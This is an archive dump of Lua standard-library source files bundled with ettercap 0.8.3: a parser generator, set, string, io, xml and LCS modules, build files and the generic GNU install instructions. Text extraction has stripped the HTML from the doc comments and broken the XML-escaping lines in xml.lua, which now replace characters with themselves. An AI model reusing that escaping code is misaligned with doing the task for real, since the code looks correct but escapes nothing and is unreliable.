return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/parser.lua0000644000175000017500000002126213505247364024167 0ustar koeppeakoeppea--- Parser generator. --

    A parser is created by

    --
    --

    p = Parser {grammar}

    --
    --

    and called with

    --
    --

    result = p:parse (start_token, token_list[, -- from])

    --
    --

    where start_token is the non-terminal at which to start parsing -- in the grammar, token_list is a list of tokens of the form

    --
    --

    {ty = "token_type", tok = "token_text"}

    --
    --

    and from is the token in the list from which to start (the -- default value is 1).

    --

    The output of the parser is a tree, each of whose -- nodes is of the form:

    --
    --

    {ty = symbol, node1 = tree1, -- node2 = tree2, ... [, list]}

    --
    --

    where each nodei is a symbolic name, and -- list is the list of trees returned if the corresponding token was a -- list token.

    --

    A grammar is a table of rules of the form

    --
    --

    non-terminal = {production1, -- production2, ...}

    --
    --

    plus a special item

    --
    --

    lexemes = set.new {"class1", "class2", -- ...}

    --
    --

    Each production gives a form that a non-terminal may take. A -- production has the form

    --
    --

    production = {"token1", "token2", -- ..., [action][,abstract]}

    --
    --

    A production

    --
      --
    • must not start with the non-terminal being defined (it must not -- be left-recursive)
    • --
    • must not be a prefix of a later production in the same -- non-terminal
    • --
    --

    Each token may be

    --
      --
    • a non-terminal, i.e. a token defined by the grammar
    • --
        --
      • an optional symbol is indicated by the suffix _opt
      • --
      • a list is indicated by the suffix _list, and may be -- followed by _≤separator-symbol> (default is no separator)
      • --
      --
    • a lexeme class
    • --
    • a string to match literally
    • --
    --

    The parse tree for a literal string or lexeme class is the string -- that was matched. The parse tree for a non-terminal is a table of -- the form

    --
    --

    {ty = "non_terminal_name", tree1, -- tree2, ...}

    --
    --

    where the treei are the parse trees for the -- corresponding terminals and non-terminals.

    --

    An action is of the form

    --
    --

    action = function (tree, token, pos) ... return tree_ -- end

    --
    --

    It is passed the parse tree for the current node, the token list, -- and the current position in the token list, and returns a new parse -- tree.

    --

    An abstract syntax rule is of the form

    --
    --

    name = {i1, i2, ...}

    --
    --

    where i1, i2, -- ... are numbers. This results in a parse tree of the form

    --
    --

    {ty = "name"; treei1, -- treei2, ...}

    --
    --

    If a production has no abstract syntax rule, the result is the -- parse node for the current node.

    --

    FIXME: Give lexemes as an extra argument to Parser? --
    FIXME: Rename second argument to parse method to "tokens"? --
    FIXME: Make start_token an optional argument to parse? (swap with -- token list) and have it default to the first non-terminal?

    local Object = require "object" local Parser = Object {_init = {"grammar"}} --- Parser constructor -- @param grammar parser grammar -- @return parser function Parser:_init (grammar) local init = table.clone_rename ({"grammar"}, grammar) -- Reformat the abstract syntax rules for rname, rule in pairs (init.grammar) do if name ~= "lexemes" then for pnum, prod in ipairs (rule) do local abstract for i, v in pairs (prod) do if type (i) == "string" and i ~= "action" then if abstract then die ("more than one abstract rule for " .. rname .. "." .. tostring (pnum)) else if type (v) ~= "table" then die ("bad abstract syntax rule of type " .. type (v)) end abstract = {ty = i, template = v} prod[i] = nil end end end if abstract then prod.abstract = abstract end end end end return table.merge (self, init) end --- Parse a token list. -- @param start the token at which to start -- @param token the list of tokens -- @param from the index of the token to start from (default: 1) -- @return parse tree function Parser:parse (start, token, from) local grammar = self.grammar -- for consistency and brevity local rule, symbol -- functions called before they are defined -- Try to parse an optional symbol. -- @param sym the symbol being tried -- @param from the index of the token to start from -- @return the resulting parse tree, or false if empty -- @return the index of the first unused token, or false to -- indicate failure local function optional (sym, from) local tree, to = symbol (sym, from) if to then return tree, to else return false, from end end -- Try to parse a list of symbols. -- @param sym the symbol being tried -- @param sep the list separator -- @param from the index of the token to start from -- @return the resulting parse tree, or false if empty -- @return the index of the first unused token, or false to -- indicate failure local function list (sym, sep, from) local tree, to tree, from = symbol (sym, from) local list = {tree} if from == false then return list, false end to = from repeat if sep ~= "" then tree, from = symbol (sep, from) end if from then tree, from = symbol (sym, from) if from then table.insert (list, tree) to = from end end until from == false return list, to end -- Try to parse a given symbol. -- @param sym the symbol being tried -- @param from the index of the token to start from -- @return tree the resulting parse tree, or false if empty -- @return the index of the first unused token, or false to -- indicate failure symbol = function (sym, from) -- declared at the top if string.sub (sym, -4, -1) == "_opt" then -- optional symbol return optional (string.sub (sym, 1, -5), from) elseif string.find (sym, "_list.-$") then -- list local _, _, subsym, sep = string.find (sym, "^(.*)_list_?(.-)$") return list (subsym, sep, from) elseif grammar[sym] then -- non-terminal return rule (sym, from) elseif token[from] and -- not end of token list ((grammar.lexemes:member (sym) and sym == token[from].ty) or -- lexeme sym == token[from].tok) -- literal terminal then return token[from].tok, from + 1 -- advance to next token else return false, false end end -- Try a production. -- @param name the name of the current rule -- @param prod the production (list of symbols) being tried -- @param from the index of the token to start from -- @return the parse tree (incomplete if to is false) -- @return the index of the first unused token, or false to -- indicate failure local function production (name, prod, from) local tree = {ty = name} local to = from for prod in _G.list.elems (prod) do local sym sym, to = symbol (prod, to) if to then table.insert (tree, sym) else return tree, false end end if prod.action then tree = prod.action (tree, token, to) end if prod.abstract then local ntree = {} ntree.ty = prod.abstract.ty for i, n in pairs (prod.abstract.template) do ntree[i] = tree[n] end tree = ntree end return tree, to end -- Parse according to a particular rule. -- @param name the name of the rule to try -- @param from the index of the token to start from -- @return parse tree -- @return the index of the first unused token, or false to -- indicate failure rule = function (name, from) -- declared at the top local alt = grammar[name] local tree, to for alt in _G.list.elems (alt) do tree, to = production (name, alt, from) if to then return tree, to end end return tree, false end return rule (start, 1, from or 1) end return Parser ettercap-0.8.3/src/lua/share/third-party/stdlib/src/modules.lua0000644000175000017500000000030113505247364024332 0ustar koeppeakoeppeareturn { "debug_init", --"strict", "base", "package_ext", "debug_ext", "table_ext", "list", "tree", "string_ext", "math_ext", "io_ext", "getopt", "set", "strbuf", } ettercap-0.8.3/src/lua/share/third-party/stdlib/src/CMakeLists.txt0000644000175000017500000000037513505247364024732 0ustar koeppeakoeppeafile(GLOB lua_stdlib_files "*.lua") set(VERSION ${LUA_STDLIB_VERSION}) configure_file(std.lua.in ${CMAKE_CURRENT_BINARY_DIR}/std.lua) install(FILES ${CMAKE_CURRENT_BINARY_DIR}/std.lua ${lua_stdlib_files} DESTINATION ${INSTALL_LUA_THIRD_PARTY}) ettercap-0.8.3/src/lua/share/third-party/stdlib/src/lcs.lua0000644000175000017500000000306013505247364023450 0ustar koeppeakoeppea--- Longest Common Subsequence algorithm. -- After pseudo-code in lecture -- notes by David Eppstein. -- Find common subsequences. -- @param a first sequence -- @param b second sequence -- @return list of common subsequences -- @return the length of a -- @return the length of b local function commonSubseqs (a, b) local l, m, n = {}, #a, #b for i = m + 1, 1, -1 do l[i] = {} for j = n + 1, 1, -1 do if i > m or j > n then l[i][j] = 0 elseif a[i] == b[j] then l[i][j] = 1 + l[i + 1][j + 1] else l[i][j] = math.max (l[i + 1][j], l[i][j + 1]) end end end return l, m, n end --- Find the longest common subsequence of two sequences. -- The sequence objects must have an __append metamethod. -- This is provided by string_ext for strings, and by -- list for lists. -- @param a first sequence -- @param b second sequence -- @param s an empty sequence of the same type, to hold the result -- @return the LCS of a and b local function longestCommonSubseq (a, b, s) local l, m, n = commonSubseqs (a, b) local i, j = 1, 1 local f = getmetatable (s).__append while i <= m and j <= n do if a[i] == b[j] then s = f (s, a[i]) i = i + 1 j = j + 1 elseif l[i + 1][j] >= l[i][j + 1] then i = i + 1 else j = j + 1 end end return s end -- Public interface local M = { longestCommonSubseq = longestCommonSubseq, } return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/package_ext.lua0000644000175000017500000000146413505247364025150 0ustar koeppeakoeppea-- Additions to the package module. local table_unext = require "table_ext" -- Save original unextended table. local unextended = table.clone (package) --- Make named constants for package.config (undocumented -- in 5.1; see luaconf.h for C equivalents). -- @class table -- @name package -- @field dirsep directory separator -- @field pathsep path separator -- @field path_mark string that marks substitution points in a path template -- @field execdir (Windows only) replaced by the executable's directory in a path -- @field igmark Mark to ignore all before it when building luaopen_ function name. package.dirsep, package.pathsep, package.path_mark, package.execdir, package.igmark = string.match (package.config, "^([^\n]+)\n([^\n]+)\n([^\n]+)\n([^\n]+)\n([^\n]+)") return unextended ettercap-0.8.3/src/lua/share/third-party/stdlib/src/xml.lua0000644000175000017500000000534313505247364023475 0ustar koeppeakoeppea-- XML extensions to string module. -- @class module -- @name xml require "base" require "string_ext" --- Write a table as XML. -- The input format is assumed to be that output by luaexpat. -- @param t table to print. -- In each element, tag is its name, attr is the table of attributes, -- and the sub-elements are held in the integer keys -- @param indent indent between levels (default: "\t") -- @param spacing space before every line -- @returns XML string function string.writeXML (t, indent, spacing) indent = indent or "\t" spacing = spacing or "" return render (t, function (x) spacing = spacing .. indent if x.tag then local s = "<" .. x.tag if type (x.attr) == "table" then for i, v in pairs (x.attr) do if type (i) ~= "number" then -- luaexpat gives names of attributes in list elements s = s .. " " .. tostring (i) .. "=" .. string.format ("%q", tostring (v)) end end end if #x == 0 then s = s .. " /" end s = s .. ">" return s end return "" end, function (x) spacing = string.gsub (spacing, indent .. "$", "") if x.tag and #x > 0 then return spacing .. "" end return "" end, function (s) s = tostring (s) s = string.gsub (s, "&([%S]+)", function (s) if not string.match (s, "^#?%w+;") then return "&" .. s else return "&" .. s end end) s = string.gsub (s, "<", "<") s = string.gsub (s, ">", ">") return s end, function (x, i, v, is, vs) local s = "" if type (i) == "number" then s = spacing .. vs end return s end, function (_, i, _, j) if type (i) == "number" or type (j) == "number" then return "\n" end return "" end) end ettercap-0.8.3/src/lua/share/third-party/stdlib/src/io_ext.lua0000644000175000017500000000557313505247364024171 0ustar koeppeakoeppea--- Additions to the io module module ("io", package.seeall) require "base" local package_unext = require "package_ext" -- Get file handle metatable local file_metatable = getmetatable (io.stdin) -- Get an input file handle. -- @param h file handle or name (default: io.input ()) -- @return file handle, or nil on error local function input_handle (h) if h == nil then h = input () elseif _G.type (h) == "string" then h = io.open (h) end return h end --- Slurp a file handle. -- @param h file handle or name (default: io.input ()) -- @return contents of file or handle, or nil if error function slurp (h) h = input_handle (h) if h then local s = h:read ("*a") h:close () return s end end --- Read a file or file handle into a list of lines. -- @param h file handle or name (default: io.input ()); -- if h is a handle, the file is closed after reading -- @return list of lines function readlines (h) h = input_handle (h) local l = {} for line in h:lines () do table.insert (l, line) end h:close () return l end file_metatable.readlines = readlines --- Write values adding a newline after each. -- @param h file handle (default: io.output () -- @param ... values to write (as for write) function writelines (h, ...) if io.type (h) ~= "file" then io.write (h, "\n") h = io.output () end for v in ileaves ({...}) do h:write (v, "\n") end end file_metatable.writelines = writelines --- Split a directory path into components. -- Empty components are retained: the root directory becomes {"", ""}. -- @param path path -- @return list of path components function splitdir (path) return string.split (path, package.dirsep) end --- Concatenate one or more directories and a filename into a path. -- @param ... path components -- @return path function catfile (...) return table.concat ({...}, package.dirsep) end --- Concatenate two or more directories into a path, removing the trailing slash. -- @param ... path components -- @return path function catdir (...) return (string.gsub (catfile (...), "^$", package.dirsep)) end --- Perform a shell command and return its output. -- @param c command -- @return output, or nil if error function shell (c) return io.slurp (io.popen (c)) end --- Process files specified on the command-line. -- If no files given, process io.stdin; in list of files, -- - means io.stdin. --
    FIXME: Make the file list an argument to the function. -- @param f function to process files with, which is passed -- (name, arg_no) function processFiles (f) -- N.B. "arg" below refers to the global array of command-line args if #arg == 0 then table.insert (arg, "-") end for i, v in ipairs (arg) do if v == "-" then io.input (io.stdin) else io.input (v) end f (v, i) end end ettercap-0.8.3/src/lua/share/third-party/stdlib/src/bin.lua0000644000175000017500000000074713505247364023450 0ustar koeppeakoeppea--- Binary data utilities --- Turn a little-endian word into a number local function le_to_number (s) local res = 0 for i = #s, 1, -1 do res = res * 256 + string.byte (s, i) end return res end --- Turn a little-endian word into a hex string local function le_to_hex (s) local res = "" for i = 1, #s do res = res .. string.format ("%.2x", string.byte (s, i)) end return res end local M = { le_to_number = le_to_number, le_to_hex = le_to_hex, } return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/string_ext.lua0000644000175000017500000002234013505247364025057 0ustar koeppeakoeppea--- Additions to the string module -- TODO: Pretty printing (use in getopt); see source for details. require "table_ext" local list = require "list" local strbuf = require "strbuf" -- Write pretty-printing based on: -- -- John Hughes's and Simon Peyton Jones's Pretty Printer Combinators -- -- Based on "The Design of a Pretty-printing Library in Advanced -- Functional Programming", Johan Jeuring and Erik Meijer (eds), LNCS 925 -- http://www.cs.chalmers.se/~rjmh/Papers/pretty.ps -- Heavily modified by Simon Peyton Jones, Dec 96 -- -- Haskell types: -- data Doc list of lines -- quote :: Char -> Char -> Doc -> Doc Wrap document in ... -- (<>) :: Doc -> Doc -> Doc Beside -- (<+>) :: Doc -> Doc -> Doc Beside, separated by space -- ($$) :: Doc -> Doc -> Doc Above; if there is no overlap it "dovetails" the two -- nest :: Int -> Doc -> Doc Nested -- punctuate :: Doc -> [Doc] -> [Doc] punctuate p [d1, ... dn] = [d1 <> p, d2 <> p, ... dn-1 <> p, dn] -- render :: Int Line length -- -> Float Ribbons per line -- -> (TextDetails -> a -> a) What to do with text -- -> a What to do at the end -- -> Doc The document -- -> a Result --- Give strings a subscription operator. -- @param s string -- @param i index -- @return string.sub (s, i, i) if i is a number, or -- falls back to any previous metamethod (by default, string methods) local old__index = getmetatable ("").__index getmetatable ("").__index = function (s, i) if type (i) == "number" then return s:sub (i, i) -- Fall back to old metamethods elseif type (old__index) == "function" then return old__index (s, i) else return old__index[i] end end --- Give strings an append metamethod. -- @param s string -- @param c character (1-character string) -- @return s .. c getmetatable ("").__append = function (s, c) return s .. c end --- Give strings a concat metamethod. -- @param s string -- @param o object -- @return s .. tostring (o) getmetatable ("").__concat = function (s, o) return tostring (s) .. tostring (o) end --- Capitalise each word in a string. -- @param s string -- @return capitalised string local function caps (s) return (string.gsub (s, "(%w)([%w]*)", function (l, ls) return string.upper (l) .. ls end)) end --- Remove any final newline from a string. -- @param s string to process -- @return processed string local function chomp (s) return (string.gsub (s, "\n$", "")) end --- Escape a string to be used as a pattern -- @param s string to process -- @return -- @param s_: processed string local function escape_pattern (s) return (string.gsub (s, "(%W)", "%%%1")) end -- Escape a string to be used as a shell token. -- Quotes spaces, parentheses, brackets, quotes, apostrophes and -- whitespace. -- @param s string to process -- @return processed string local function escape_shell (s) return (string.gsub (s, "([ %(%)%\\%[%]\"'])", "\\%1")) end --- Return the English suffix for an ordinal. -- @param n number of the day -- @return suffix local function ordinal_suffix (n) n = math.abs (n) % 100 local d = n % 10 if d == 1 and n ~= 11 then return "st" elseif d == 2 and n ~= 12 then return "nd" elseif d == 3 and n ~= 13 then return "rd" else return "th" end end --- Extend to work better with one argument. -- If only one argument is passed, no formatting is attempted. -- @param f format -- @param ... arguments to format -- @return formatted string local _format = string.format local function format (f, arg1, ...) if arg1 == nil then return f else return _format (f, arg1, ...) end end --- Justify a string. -- When the string is longer than w, it is truncated (left or right -- according to the sign of w). -- @param s string to justify -- @param w width to justify to (-ve means right-justify; +ve means -- left-justify) -- @param p string to pad with (default: " ") -- @return justified string local function pad (s, w, p) p = string.rep (p or " ", math.abs (w)) if w < 0 then return string.sub (p .. s, w) end return string.sub (s .. p, 1, w) end --- Wrap a string into a paragraph. -- @param s string to wrap -- @param w width to wrap to (default: 78) -- @param ind indent (default: 0) -- @param ind1 indent of first line (default: ind) -- @return wrapped paragraph local function wrap (s, w, ind, ind1) w = w or 78 ind = ind or 0 ind1 = ind1 or ind assert (ind1 < w and ind < w, "the indents must be less than the line width") assert (type (s) == "string", "bad argument #1 to 'wrap' (string expected, got " .. type (s) .. ")") local r = strbuf.new ():concat (string.rep (" ", ind1)) local i, lstart, len = 1, ind1, #s while i <= #s do local j = i + w - lstart while #s[j] > 0 and s[j] ~= " " and j > i do j = j - 1 end local ni = j + 1 while s[j] == " " do j = j - 1 end r:concat (s:sub (i, j)) i = ni if i < #s then r:concat ("\n" .. string.rep (" ", ind)) lstart = ind end end return r:tostring () end --- Write a number using SI suffixes. -- The number is always written to 3 s.f. -- @param n number -- @return string local function numbertosi (n) local SIprefix = { [-8] = "y", [-7] = "z", [-6] = "a", [-5] = "f", [-4] = "p", [-3] = "n", [-2] = "mu", [-1] = "m", [0] = "", [1] = "k", [2] = "M", [3] = "G", [4] = "T", [5] = "P", [6] = "E", [7] = "Z", [8] = "Y" } local t = string.format("% #.2e", n) local _, _, m, e = t:find(".(.%...)e(.+)") local man, exp = tonumber (m), tonumber (e) local siexp = math.floor (exp / 3) local shift = exp - siexp * 3 local s = SIprefix[siexp] or "e" .. tostring (siexp) man = man * (10 ^ shift) return tostring (man) .. s end --- Do find, returning captures as a list. -- @param s target string -- @param p pattern -- @param init start position (default: 1) -- @param plain inhibit magic characters (default: nil) -- @return start of match, end of match, table of captures local function tfind (s, p, init, plain) assert (type (s) == "string", "bad argument #1 to 'tfind' (string expected, got " .. type (s) .. ")") assert (type (p) == "string", "bad argument #2 to 'tfind' (string expected, got " .. type (p) .. ")") local function pack (from, to, ...) return from, to, {...} end return pack (p.find (s, p, init, plain)) end --- Do multiple finds on a string. -- @param s target string -- @param p pattern -- @param init start position (default: 1) -- @param plain inhibit magic characters (default: nil) -- @return list of {from, to; capt = {captures}} local function finds (s, p, init, plain) init = init or 1 local l = {} local from, to, r repeat from, to, r = tfind (s, p, init, plain) if from ~= nil then table.insert (l, {from, to, capt = r}) init = to + 1 end until not from return l end --- Split a string at a given separator. -- FIXME: Consider Perl and Python versions. -- @param s string to split -- @param sep separator pattern -- @return list of strings local function split (s, sep) -- finds gets a list of {from, to, capt = {}} lists; we then -- flatten the result, discarding the captures, and prepend 0 (1 -- before the first character) and append 0 (1 after the last -- character), and then read off the result in pairs. local pairs = list.concat ({0}, list.flatten (finds (s, sep)), {0}) local l = {} for i = 1, #pairs, 2 do table.insert (l, string.sub (s, pairs[i] + 1, pairs[i + 1] - 1)) end return l end --- Remove leading matter from a string. -- @param s string -- @param r leading pattern (default: "%s+") -- @return string without leading r local function ltrim (s, r) r = r or "%s+" return (string.gsub (s, "^" .. r, "")) end --- Remove trailing matter from a string. -- @param s string -- @param r trailing pattern (default: "%s+") -- @return string without trailing r local function rtrim (s, r) r = r or "%s+" return (string.gsub (s, r .. "$", "")) end --- Remove leading and trailing matter from a string. -- @param s string -- @param r leading/trailing pattern (default: "%s+") -- @return string without leading/trailing r local function trim (s, r) return rtrim (ltrim (s, r), r) end -- Save original unextended table. local unextended = table.clone (string) local M = { __index = old__index, caps = caps, chomp = chomp, escape_pattern = escape_pattern, escape_shell = escape_shell, finds = finds, format = format, ltrim = ltrim, numbertosi = numbertosi, ordinal_suffix = ordinal_suffix, pad = pad, rtrim = rtrim, split = split, tfind = tfind, trim = trim, wrap = wrap, -- camelCase compatibility: escapePattern = escape_pattern, escapeShell = escape_shell, ordinalSuffix = ordinal_suffix, } -- Inject stdlib extensions directly into the string package. _G.string = table.merge (string, M) return unextended ettercap-0.8.3/src/lua/share/third-party/stdlib/src/debug_init.lua0000644000175000017500000000005713505247364025003 0ustar koeppeakoeppea-- Debugging is on by default _G._DEBUG = true ettercap-0.8.3/src/lua/share/third-party/stdlib/src/set.lua0000644000175000017500000000711713505247364023471 0ustar koeppeakoeppealocal list = require "list" -- Primitive methods (know about representation) -- The representation is a table whose tags are the elements, and -- whose values are true. --- Say whether an element is in a set -- @param s set -- @param e element -- @return true if e is in set, false -- otherwise local function member (s, e) return rawget (s.contents, e) == true end --- Insert an element into a set -- @param s set -- @param e element local function insert (s, e) rawset (s.contents, e, true) end --- Delete an element from a set -- @param s set -- @param e element local function delete (s, e) rawset (s.contents, e, nil) end --- Make a list into a set -- @param l list -- @return set local metatable = {} local function new (l) local s = setmetatable ({contents={}}, metatable) for e in list.elems (l) do insert (s, e) end return s end --- Iterator for sets -- TODO: Make the iterator return only the key local function elems (s) return pairs (s.contents) end -- High level methods (representation-independent) local difference, symmetric_difference, intersection, union, subset, equal --- Find the difference of two sets -- @param s set -- @param t set -- @return s with elements of t removed function difference (s, t) local r = new {} for e in elems (s) do if not member (t, e) then insert (r, e) end end return r end --- Find the symmetric difference of two sets -- @param s set -- @param t set -- @return elements of s and t that are in s or t but not both function symmetric_difference (s, t) return difference (union (s, t), intersection (t, s)) end --- Find the intersection of two sets -- @param s set -- @param t set -- @return set intersection of s and t function intersection (s, t) local r = new {} for e in elems (s) do if member (t, e) then insert (r, e) end end return r end --- Find the union of two sets -- @param s set -- @param t set -- @return set union of s and t function union (s, t) local r = new {} for e in elems (s) do insert (r, e) end for e in elems (t) do insert (r, e) end return r end --- Find whether one set is a subset of another -- @param s set -- @param t set -- @return true if s is a subset of t, false -- otherwise function subset (s, t) for e in elems (s) do if not member (t, e) then return false end end return true end --- Find whether one set is a proper subset of another -- @param s set -- @param t set -- @return true if s is a proper subset of t, false otherwise function propersubset (s, t) return subset (s, t) and not subset (t, s) end --- Find whether two sets are equal -- @param s set -- @param t set -- @return true if sets are equal, false -- otherwise function equal (s, t) return subset (s, t) and subset (t, s) end -- Public interface local M = { delete = delete, difference = difference, elems = elems, equal = equal, insert = insert, intersection = intersection, member = member, new = new, subset = subset, symmetric_difference = symmetric_difference, union = union, } --- Metamethods for sets -- set:method () metatable.__index = M -- set + table = union metatable.__add = union -- set - table = set difference metatable.__sub = difference -- set * table = intersection metatable.__mul = intersection -- set / table = symmetric difference metatable.__div = symmetric_difference -- set <= table = subset metatable.__le = subset -- set < table = proper subset metatable.__lt = propersubset return M ettercap-0.8.3/src/lua/share/third-party/stdlib/INSTALL0000644000175000017500000003633213505247364022436 0ustar koeppeakoeppeaInstallation Instructions ************************* Copyright (C) 1994, 1995, 1996, 1999, 2000, 2001, 2002, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc. Copying and distribution of this file, with or without modification, are permitted in any medium without royalty provided the copyright notice and this notice are preserved. This file is offered as-is, without warranty of any kind. Basic Installation ================== Briefly, the shell commands `./configure; make; make install' should configure, build, and install this package. The following more-detailed instructions are generic; see the `README' file for instructions specific to this package. Some packages provide this `INSTALL' file but do not implement all of the features documented below. The lack of an optional feature in a given package is not necessarily a bug. More recommendations for GNU packages can be found in *note Makefile Conventions: (standards)Makefile Conventions. The `configure' shell script attempts to guess correct values for various system-dependent variables used during compilation. It uses those values to create a `Makefile' in each directory of the package. It may also create one or more `.h' files containing system-dependent definitions. Finally, it creates a shell script `config.status' that you can run in the future to recreate the current configuration, and a file `config.log' containing compiler output (useful mainly for debugging `configure'). It can also use an optional file (typically called `config.cache' and enabled with `--cache-file=config.cache' or simply `-C') that saves the results of its tests to speed up reconfiguring. Caching is disabled by default to prevent problems with accidental use of stale cache files. If you need to do unusual things to compile the package, please try to figure out how `configure' could check whether to do them, and mail diffs or instructions to the address given in the `README' so they can be considered for the next release. If you are using the cache, and at some point `config.cache' contains results you don't want to keep, you may remove or edit it. The file `configure.ac' (or `configure.in') is used to create `configure' by a program called `autoconf'. You need `configure.ac' if you want to change it or regenerate `configure' using a newer version of `autoconf'. The simplest way to compile this package is: 1. `cd' to the directory containing the package's source code and type `./configure' to configure the package for your system. Running `configure' might take a while. While running, it prints some messages telling which features it is checking for. 2. Type `make' to compile the package. 3. Optionally, type `make check' to run any self-tests that come with the package, generally using the just-built uninstalled binaries. 4. Type `make install' to install the programs and any data files and documentation. When installing into a prefix owned by root, it is recommended that the package be configured and built as a regular user, and only the `make install' phase executed with root privileges. 5. Optionally, type `make installcheck' to repeat any self-tests, but this time using the binaries in their final installed location. This target does not install anything. Running this target as a regular user, particularly if the prior `make install' required root privileges, verifies that the installation completed correctly. 6. You can remove the program binaries and object files from the source code directory by typing `make clean'. To also remove the files that `configure' created (so you can compile the package for a different kind of computer), type `make distclean'. There is also a `make maintainer-clean' target, but that is intended mainly for the package's developers. If you use it, you may have to get all sorts of other programs in order to regenerate files that came with the distribution. 7. Often, you can also type `make uninstall' to remove the installed files again. In practice, not all packages have tested that uninstallation works correctly, even though it is required by the GNU Coding Standards. 8. Some packages, particularly those that use Automake, provide `make distcheck', which can by used by developers to test that all other targets like `make install' and `make uninstall' work correctly. This target is generally not run by end users. Compilers and Options ===================== Some systems require unusual options for compilation or linking that the `configure' script does not know about. Run `./configure --help' for details on some of the pertinent environment variables. You can give `configure' initial values for configuration parameters by setting variables in the command line or in the environment. Here is an example: ./configure CC=c99 CFLAGS=-g LIBS=-lposix *Note Defining Variables::, for more details. Compiling For Multiple Architectures ==================================== You can compile the package for more than one kind of computer at the same time, by placing the object files for each architecture in their own directory. To do this, you can use GNU `make'. `cd' to the directory where you want the object files and executables to go and run the `configure' script. `configure' automatically checks for the source code in the directory that `configure' is in and in `..'. This is known as a "VPATH" build. With a non-GNU `make', it is safer to compile the package for one architecture at a time in the source code directory. After you have installed the package for one architecture, use `make distclean' before reconfiguring for another architecture. On MacOS X 10.5 and later systems, you can create libraries and executables that work on multiple system types--known as "fat" or "universal" binaries--by specifying multiple `-arch' options to the compiler but only a single `-arch' option to the preprocessor. Like this: ./configure CC="gcc -arch i386 -arch x86_64 -arch ppc -arch ppc64" \ CXX="g++ -arch i386 -arch x86_64 -arch ppc -arch ppc64" \ CPP="gcc -E" CXXCPP="g++ -E" This is not guaranteed to produce working output in all cases, you may have to build one architecture at a time and combine the results using the `lipo' tool if you have problems. Installation Names ================== By default, `make install' installs the package's commands under `/usr/local/bin', include files under `/usr/local/include', etc. You can specify an installation prefix other than `/usr/local' by giving `configure' the option `--prefix=PREFIX', where PREFIX must be an absolute file name. You can specify separate installation prefixes for architecture-specific files and architecture-independent files. If you pass the option `--exec-prefix=PREFIX' to `configure', the package uses PREFIX as the prefix for installing programs and libraries. Documentation and other data files still use the regular prefix. In addition, if you use an unusual directory layout you can give options like `--bindir=DIR' to specify different values for particular kinds of files. Run `configure --help' for a list of the directories you can set and what kinds of files go in them. In general, the default for these options is expressed in terms of `${prefix}', so that specifying just `--prefix' will affect all of the other directory specifications that were not explicitly provided. The most portable way to affect installation locations is to pass the correct locations to `configure'; however, many packages provide one or both of the following shortcuts of passing variable assignments to the `make install' command line to change installation locations without having to reconfigure or recompile. The first method involves providing an override variable for each affected directory. For example, `make install prefix=/alternate/directory' will choose an alternate location for all directory configuration variables that were expressed in terms of `${prefix}'. Any directories that were specified during `configure', but not in terms of `${prefix}', must each be overridden at install time for the entire installation to be relocated. The approach of makefile variable overrides for each directory variable is required by the GNU Coding Standards, and ideally causes no recompilation. However, some platforms have known limitations with the semantics of shared libraries that end up requiring recompilation when using this method, particularly noticeable in packages that use GNU Libtool. The second method involves providing the `DESTDIR' variable. For example, `make install DESTDIR=/alternate/directory' will prepend `/alternate/directory' before all installation names. The approach of `DESTDIR' overrides is not required by the GNU Coding Standards, and does not work on platforms that have drive letters. On the other hand, it does better at avoiding recompilation issues, and works well even when some directory options were not specified in terms of `${prefix}' at `configure' time. Optional Features ================= If the package supports it, you can cause programs to be installed with an extra prefix or suffix on their names by giving `configure' the option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'. Some packages pay attention to `--enable-FEATURE' options to `configure', where FEATURE indicates an optional part of the package. They may also pay attention to `--with-PACKAGE' options, where PACKAGE is something like `gnu-as' or `x' (for the X Window System). The `README' should mention any `--enable-' and `--with-' options that the package recognizes. For packages that use the X Window System, `configure' can usually find the X include and library files automatically, but if it doesn't, you can use the `configure' options `--x-includes=DIR' and `--x-libraries=DIR' to specify their locations. Some packages offer the ability to configure how verbose the execution of `make' will be. For these packages, running `./configure --enable-silent-rules' sets the default to minimal output, which can be overridden with `make V=1'; while running `./configure --disable-silent-rules' sets the default to verbose, which can be overridden with `make V=0'. Particular systems ================== On HP-UX, the default C compiler is not ANSI C compatible. If GNU CC is not installed, it is recommended to use the following options in order to use an ANSI C compiler: ./configure CC="cc -Ae -D_XOPEN_SOURCE=500" and if that doesn't work, install pre-built binaries of GCC for HP-UX. On OSF/1 a.k.a. Tru64, some versions of the default C compiler cannot parse its `' header file. The option `-nodtk' can be used as a workaround. If GNU CC is not installed, it is therefore recommended to try ./configure CC="cc" and if that doesn't work, try ./configure CC="cc -nodtk" On Solaris, don't put `/usr/ucb' early in your `PATH'. This directory contains several dysfunctional programs; working variants of these programs are available in `/usr/bin'. So, if you need `/usr/ucb' in your `PATH', put it _after_ `/usr/bin'. On Haiku, software installed for all users goes in `/boot/common', not `/usr/local'. It is recommended to use the following options: ./configure --prefix=/boot/common Specifying the System Type ========================== There may be some features `configure' cannot figure out automatically, but needs to determine by the type of machine the package will run on. Usually, assuming the package is built to be run on the _same_ architectures, `configure' can figure that out, but if it prints a message saying it cannot guess the machine type, give it the `--build=TYPE' option. TYPE can either be a short name for the system type, such as `sun4', or a canonical name which has the form: CPU-COMPANY-SYSTEM where SYSTEM can have one of these forms: OS KERNEL-OS See the file `config.sub' for the possible values of each field. If `config.sub' isn't included in this package, then this package doesn't need to know the machine type. If you are _building_ compiler tools for cross-compiling, you should use the option `--target=TYPE' to select the type of system they will produce code for. If you want to _use_ a cross compiler, that generates code for a platform different from the build platform, you should specify the "host" platform (i.e., that on which the generated programs will eventually be run) with `--host=TYPE'. Sharing Defaults ================ If you want to set default values for `configure' scripts to share, you can create a site shell script called `config.site' that gives default values for variables like `CC', `cache_file', and `prefix'. `configure' looks for `PREFIX/share/config.site' if it exists, then `PREFIX/etc/config.site' if it exists. Or, you can set the `CONFIG_SITE' environment variable to the location of the site script. A warning: not all `configure' scripts look for a site script. Defining Variables ================== Variables not defined in a site shell script can be set in the environment passed to `configure'. However, some packages may run configure again during the build, and the customized values of these variables may be lost. In order to avoid this problem, you should set them in the `configure' command line, using `VAR=value'. For example: ./configure CC=/usr/local2/bin/gcc causes the specified `gcc' to be used as the C compiler (unless it is overridden in the site shell script). Unfortunately, this technique does not work for `CONFIG_SHELL' due to an Autoconf bug. Until the bug is fixed you can use this workaround: CONFIG_SHELL=/bin/bash /bin/bash ./configure CONFIG_SHELL=/bin/bash `configure' 